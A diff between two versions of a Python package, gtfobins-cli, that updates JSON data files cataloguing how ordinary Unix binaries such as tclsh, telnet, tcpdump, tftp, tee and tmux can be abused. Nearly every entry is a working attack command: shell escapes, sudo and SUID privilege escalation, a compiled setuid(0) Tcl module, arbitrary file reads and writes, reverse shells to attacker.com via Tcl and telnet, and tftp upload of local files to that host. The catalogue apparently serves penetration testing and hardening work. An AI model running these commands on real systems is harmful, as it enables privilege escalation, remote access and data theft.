gtfobins-cli 1.0.0__py3-none-any.whl → 1.1.0__py3-none-any.whl

gtfo/data/taskset.json

@@ -2,18 +2,21 @@
   "functions": {
     "shell": [
       {
-        "code": "taskset 1 /bin/sh"
+        
+        "code": "taskset 1 /bin/sh\n"
       }
     ],
     "suid": [
       {
-        "code": "./taskset 1 /bin/sh -p"
+        
+        "code": "./taskset 1 /bin/sh -p\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo taskset 1 /bin/sh"
+        
+        "code": "sudo taskset 1 /bin/sh\n"
       }
     ]
   }
-}
+}

gtfo/data/tasksh.json

@@ -0,0 +1,22 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "tasksh\n!/bin/sh\n"
+      }
+    ],
+    "limited-suid": [
+      {
+        
+        "code": "./tasksh\n!/bin/sh\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo tasksh\n!/bin/sh\n"
+      }
+    ]
+  }
+}

gtfo/data/tbl.json

@@ -1,19 +1,21 @@
 {
-  "description": "The read file content is corrupted by additional text at the beginning.\n",
   "functions": {
     "file-read": [
       {
-        "code": "tbl [file]\n"
+        
+        "code": "LFILE=file_to_read\ntbl $LFILE\n"
       }
     ],
     "suid": [
       {
-        "code": "./tbl [file]\n"
+        
+        "code": "LFILE=file_to_read\n./tbl $LFILE\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo tbl [file]\n"
+        
+        "code": "LFILE=file_to_read\nsudo tbl $LFILE\n"
       }
     ]
   }

gtfo/data/tclsh.json

@@ -2,24 +2,29 @@
   "functions": {
     "shell": [
       {
-        "code": "tclsh\nexec /bin/sh <@stdin >@stdout 2>@stderr\n"
+        "code": "tclsh\nexec /bin/sh <@stdin >@stdout 2>@stderr"
       }
     ],
     "non-interactive-reverse-shell": [
       {
-        "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
-        "code": "echo 'set s [socket \"[host]\" [port]];while 1 { puts -nonewline $s \"> \";flush $s;gets $s c;set e \"exec $c\";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh\n"
+        "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.",
+        "code": "export RHOST=attacker.com\nexport RPORT=12345\necho 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s \"> \";flush $s;gets $s c;set e \"exec $c\";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh"
       }
     ],
     "suid": [
       {
-        "code": "./tclsh\nexec /bin/sh -p <@stdin >@stdout 2>@stderr\n"
+        "code": "./tclsh\nexec /bin/sh -p <@stdin >@stdout 2>@stderr"
       }
     ],
     "sudo": [
       {
-        "code": "sudo tclsh\nexec /bin/sh <@stdin >@stdout 2>@stderr\n"
+        "code": "sudo tclsh\nexec /bin/sh <@stdin >@stdout 2>@stderr"
+      }
+    ],
+    "capabilities": [
+      {
+        "code": "echo -e '#include <tcl.h>\\n#include <unistd.h>\\nint SetUidCmd(ClientData, Tcl_Interp *interp, int, const char **) { return setuid(0) == -1 ? (Tcl_SetResult(interp, \"Failed to set UID\", TCL_STATIC), TCL_ERROR) : TCL_OK; } int Setuid_Init(Tcl_Interp *interp) { Tcl_CreateCommand(interp, \"setuid\", SetUidCmd, NULL, NULL); return TCL_OK; }' | gcc -shared -o setuid.so -fPIC -I/usr/include/tcl8.6 -ltcl -x c -\n./tclsh\nload ./setuid.so\nsetuid\nexec /bin/sh -p <@stdin >@stdout 2>@stderr"
       }
     ]
   }
-}
+}

gtfo/data/tcpdump.json

@@ -1,15 +1,22 @@
 {
-  "description": "These require some traffic to be actually captured. Also note that the subprocess is immediately sent to the background. In recent distributions (e.g., Debian 10 and Ubuntu 18) AppArmor limits the 'postrotate-command' to a small subset of predefined commands thus preventing the execution of the following.",
   "functions": {
+    "file-write": [
+      {
+        "description": "It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.",
+        "code": "LFILE=file_to_write\nUSER=output_file_owner\ntcpdump -ln -i lo -w $LFILE -c 1 -Z $USER\n"
+      }
+    ],
     "command": [
       {
-        "code": "TF=$(mktemp)\necho \"[command]\" > $TF\nchmod +x $TF\ntcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF\n"
+        "description": "",
+        "code": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\ntcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF\n"
       }
     ],
     "sudo": [
       {
-        "code": "TF=$(mktemp)\necho \"[command]\" > $TF\nchmod +x $TF\nsudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root\n"
+        "description": "",
+        "code": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\nsudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root\n"
       }
     ]
   }
-}
+}

gtfo/data/tcsh.json

@@ -0,0 +1,28 @@
+{
+  "functions": {
+    "shell": [
+      {
+        "description": "",
+        "code": "tcsh\n"
+      }
+    ],
+    "file-write": [
+      {
+        "description": "",
+        "code": "export LFILE=file_to_write\ntcsh -c 'echo DATA > $LFILE'\n"
+      }
+    ],
+    "suid": [
+      {
+        "description": "",
+        "code": "./tcsh -b\n"
+      }
+    ],
+    "sudo": [
+      {
+        "description": "",
+        "code": "sudo tcsh\n"
+      }
+    ]
+  }
+}

gtfo/data/tdbtool.json

@@ -0,0 +1,22 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "tdbtool\n! /bin/sh\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo tdbtool\n! /bin/sh\n"
+      }
+    ],
+    "limited-suid": [
+      {
+        
+        "code": "./tdbtool\n! /bin/sh\n"
+      }
+    ]
+  }
+}

gtfo/data/tee.json

@@ -1,20 +1,22 @@
 {
-  "description": "It can only append data if the destination exists.",
   "functions": {
     "file-write": [
       {
-        "code": "echo DATA | ./tee -a [file]\n"
+        
+        "code": "LFILE=file_to_write\necho DATA | ./tee -a \"$LFILE\"\n"
       }
     ],
-    "sudo": [
+    "suid": [
       {
-        "code": "echo DATA | sudo tee -a [file]\n"
+        
+        "code": "LFILE=file_to_write\necho DATA | ./tee -a \"$LFILE\"\n"
       }
     ],
-    "suid": [
+    "sudo": [
       {
-        "code": "echo DATA | ./tee -a [file]\n"
+        
+        "code": "LFILE=file_to_write\necho DATA | sudo tee -a \"$LFILE\"\n"
       }
     ]
   }
-}
+}

gtfo/data/telnet.json

@@ -3,26 +3,26 @@
     "shell": [
       {
         "description": "BSD version only. Needs to be connected first.",
-        "code": "telnet [host] [port]\n^]\n!/bin/sh\n"
+        "code": "RHOST=attacker.com\nRPORT=12345\ntelnet $RHOST $RPORT\n^]\n!/bin/sh\n"
       }
     ],
     "reverse-shell": [
       {
-        "description": "Run 'nc -lp [port]' on the attacker box to receive the shell.",
-        "code": "TF=$(mktemp -u)\nmkfifo $TF && telnet [host] [port] 0<$TF | /bin/sh 1>$TF\n"
+        "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.",
+        "code": "RHOST=attacker.com\nRPORT=12345\nTF=$(mktemp -u)\nmkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/sh 1>$TF\n"
       }
     ],
     "sudo": [
       {
         "description": "BSD version only. Needs to be connected first.",
-        "code": "sudo telnet [host] [port]\n^]\n!/bin/sh\n"
+        "code": "RHOST=attacker.com\nRPORT=12345\nsudo telnet $RHOST $RPORT\n^]\n!/bin/sh\n"
       }
     ],
     "limited-suid": [
       {
         "description": "BSD version only. Needs to be connected first.",
-        "code": "./telnet [host] [port]\n^]\n!/bin/sh\n"
+        "code": "RHOST=attacker.com\nRPORT=12345\n./telnet $RHOST $RPORT\n^]\n!/bin/sh\n"
       }
     ]
   }
-}
+}

gtfo/data/terraform.json

@@ -0,0 +1,22 @@
+{
+  "functions": {
+    "file-read": [
+      {
+        
+        "code": "terraform console\nfile(\"file_to_read\")\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo terraform console\nfile(\"file_to_read\")\n"
+      }
+    ],
+    "suid": [
+      {
+        
+        "code": "./terraform console\nfile(\"file_to_read\")\n"
+      }
+    ]
+  }
+}

gtfo/data/tex.json

@@ -2,16 +2,19 @@
   "functions": {
     "shell": [
       {
+        
         "code": "tex --shell-escape '\\write18{/bin/sh}\\end'\n"
       }
     ],
     "sudo": [
       {
+        
         "code": "sudo tex --shell-escape '\\write18{/bin/sh}\\end'\n"
       }
     ],
     "limited-suid": [
       {
+        
         "code": "./tex --shell-escape '\\write18{/bin/sh}\\end'\n"
       }
     ]

gtfo/data/tftp.json

@@ -3,26 +3,26 @@
     "file-upload": [
       {
         "description": "Send local file to a TFTP server.",
-        "code": "tftp [host]\nput [file]\n"
+        "code": "RHOST=attacker.com\ntftp $RHOST\nput file_to_send\n"
       }
     ],
     "file-download": [
       {
         "description": "Fetch a remote file from a TFTP server.",
-        "code": "tftp [host]\nget [file]\n"
+        "code": "RHOST=attacker.com\ntftp $RHOST\nget file_to_get\n"
       }
     ],
     "suid": [
       {
         "description": "Send local file to a TFTP server.",
-        "code": "./tftp [host]\nput [file]\n"
+        "code": "RHOST=attacker.com\n./tftp $RHOST\nput file_to_send\n"
       }
     ],
     "sudo": [
       {
         "description": "Send local file to a TFTP server.",
-        "code": "sudo tftp [host]\nput [file]\n"
+        "code": "RHOST=attacker.com\nsudo tftp $RHOST\nput file_to_send\n"
       }
     ]
   }
-}
+}

gtfo/data/tic.json

@@ -0,0 +1,22 @@
+{
+  "functions": {
+    "file-read": [
+      {
+        
+        "code": "LFILE=file_to_read\ntic -C \"$LFILE\"\n"
+      }
+    ],
+    "suid": [
+      {
+        
+        "code": "LFILE=file_to_read\n./tic -C \"$LFILE\"\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "LFILE=file_to_read\nsudo tic -C \"$LFILE\"\n"
+      }
+    ]
+  }
+}

gtfo/data/time.json

@@ -1,20 +1,22 @@
 {
-  "description": "Note that the shell might have its own builtin time implementation, which may behave differently than '/usr/bin/time', hence the absolute path.",
   "functions": {
     "shell": [
       {
-        "code": "/usr/bin/time /bin/sh"
+        
+        "code": "/usr/bin/time /bin/sh\n"
       }
     ],
     "suid": [
       {
-        "code": "./time /bin/sh -p"
+        
+        "code": "./time /bin/sh -p\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo /usr/bin/time /bin/sh"
+        
+        "code": "sudo /usr/bin/time /bin/sh\n"
       }
     ]
   }
-}
+}

gtfo/data/timedatectl.json

@@ -0,0 +1,16 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "timedatectl list-timezones\n!/bin/sh\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo timedatectl list-timezones\n!/bin/sh\n"
+      }
+    ]
+  }
+}

gtfo/data/timeout.json

@@ -2,18 +2,21 @@
   "functions": {
     "shell": [
       {
-        "code": "timeout 7d /bin/sh"
+        
+        "code": "timeout 7d /bin/sh\n"
       }
     ],
     "suid": [
       {
-        "code": "./timeout 7d /bin/sh -p"
+        
+        "code": "./timeout 7d /bin/sh -p\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo timeout --foreground 7d /bin/sh"
+        
+        "code": "sudo timeout --foreground 7d /bin/sh\n"
       }
     ]
   }
-}
+}

gtfo/data/tmate.json

@@ -0,0 +1,22 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "tmate -c /bin/sh\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo tmate -c /bin/sh\n"
+      }
+    ],
+    "limited-suid": [
+      {
+        
+        "code": "./tmate -c /bin/sh\n"
+      }
+    ]
+  }
+}

gtfo/data/tmux.json

@@ -1,14 +1,26 @@
 {
   "functions": {
+    "file-read": [
+      {
+        "description": "The file is read and parsed as a `tmux` configuration file, part of the first invalid line is returned in an error message.",
+        "code": "LFILE=file_to_read\ntmux -f $LFILE\n"
+      }
+    ],
     "shell": [
       {
-        "code": "tmux"
+        
+        "code": "tmux\n"
+      },
+      {
+        "description": "Provided to have enough permissions to access the socket.",
+        "code": "tmux -S /path/to/socket_name\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo tmux"
+        
+        "code": "sudo tmux\n"
       }
     ]
   }
-}
+}

gtfo/data/top.json

@@ -1,8 +1,8 @@
 {
-  "description": "This requires that an existing configuration file is present, to create one run 'top' then type 'Wq'. Note down the actual configuration file path and use it in the below examples.",
   "functions": {
     "shell": [
       {
+        
         "code": "echo -e 'pipe\\tx\\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc\ntop\n# press return twice\nreset\n"
       }
     ],
@@ -13,4 +13,4 @@
       }
     ]
   }
-}
+}

gtfo/data/torify.json

@@ -0,0 +1,16 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "torify /bin/sh\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo torify /bin/sh\n"
+      }
+    ]
+  }
+}

gtfo/data/torsocks.json

@@ -0,0 +1,16 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "torsocks /bin/sh\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo torsocks /bin/sh\n"
+      }
+    ]
+  }
+}

gtfo/data/troff.json

@@ -1,19 +1,21 @@
 {
-  "description": "The file is typeset but text is still readable in the output, alternatively the output can be read with 'man -l'.\n",
   "functions": {
     "file-read": [
       {
-        "code": "troff [file]\n"
+        
+        "code": "LFILE=file_to_read\ntroff $LFILE\n"
       }
     ],
     "suid": [
       {
-        "code": "./troff [file]\n"
+        
+        "code": "LFILE=file_to_read\n./troff $LFILE\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo troff [file]\n"
+        
+        "code": "LFILE=file_to_read\nsudo troff $LFILE\n"
       }
     ]
   }

gtfo/data/tsc.json

@@ -0,0 +1,26 @@
+{
+  "functions": {
+    "file-read": [
+      {
+        "binary": false,
+        "code": "tsc /path/to/input-file.ts",
+        "comment": "Content is leaked as error messages. The file extension must be one of the supported ones, e.g., `.ts`, `.tsx`, etc.",
+        "contexts": {
+          "sudo": null,
+          "unprivileged": null
+        }
+      }
+    ],
+    "file-write": [
+      {
+        "binary": false,
+        "code": "tsc /path/to/input-file.ts --outFile /path/to/output-file",
+        "comment": "Content is leaked as error messages and written to file. The file extension must be one of the supported ones, e.g., `.ts`, `.tsx`, etc.",
+        "contexts": {
+          "sudo": null,
+          "unprivileged": null
+        }
+      }
+    ]
+  }
+}

gtfo/data/tshark.json

@@ -0,0 +1,10 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "TF=$(mktemp)\necho 'os.execute(\"/bin/sh\")' >$TF\ntshark -Xlua_script:$TF\n"
+      }
+    ]
+  }
+}

gtfo/data/ul.json

@@ -1,20 +1,22 @@
 {
-  "description": "The read file content is corrupted by replacing occurrences of '$'\\b_'' to terminal sequences and by converting tabs to spaces.",
   "functions": {
     "file-read": [
       {
-        "code": "ul [file]\n"
+        
+        "code": "LFILE=file_to_read\nul \"$LFILE\"\n"
       }
     ],
     "suid": [
       {
-        "code": "./ul [file]\n"
+        
+        "code": "LFILE=file_to_read\n./ul \"$LFILE\"\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo ul [file]\n"
+        
+        "code": "LFILE=file_to_read\nsudo ul \"$LFILE\"\n"
       }
     ]
   }
-}
+}

gtfo/data/unexpand.json

@@ -2,18 +2,21 @@
   "functions": {
     "file-read": [
       {
-        "code": "unexpand -t99999999 [file]\n"
+        
+        "code": "LFILE=file_to_read\nunexpand -t99999999 \"$LFILE\"\n"
       }
     ],
     "suid": [
       {
-        "code": "./unexpand -t99999999 [file]\n"
+        
+        "code": "LFILE=file_to_read\n./unexpand -t99999999 \"$LFILE\"\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo unexpand -t99999999 [file]\n"
+        
+        "code": "LFILE=file_to_read\nsudo unexpand -t99999999 \"$LFILE\"\n"
       }
     ]
   }
-}
+}